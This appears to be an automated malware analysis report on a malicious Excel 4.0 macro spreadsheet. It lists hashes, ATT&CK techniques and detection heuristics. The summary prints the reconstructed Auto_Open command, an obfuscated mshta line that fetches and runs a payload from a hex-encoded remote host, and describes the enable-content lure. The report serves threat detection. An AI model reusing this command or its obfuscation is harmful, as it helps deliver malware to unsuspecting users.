Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d1f36aba8f3817af…

MALICIOUS

Office (OLE) / .XLS

64.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 196ca4dace128d8f4f1004b1c790d84e SHA-1: ad4464ff7f33c2c862be61fd62612b9da99f92d0 SHA-256: d1f36aba8f3817aff3619fee6365acd322fb1ab0e7f672b57b5ed24846fc0fe5
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command, reconstructed from obfuscated string concatenation, is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command attempts to download and execute a payload from the specified URL. The document body also contains a lure instructing the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common social engineering tactic to bypass macro security.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes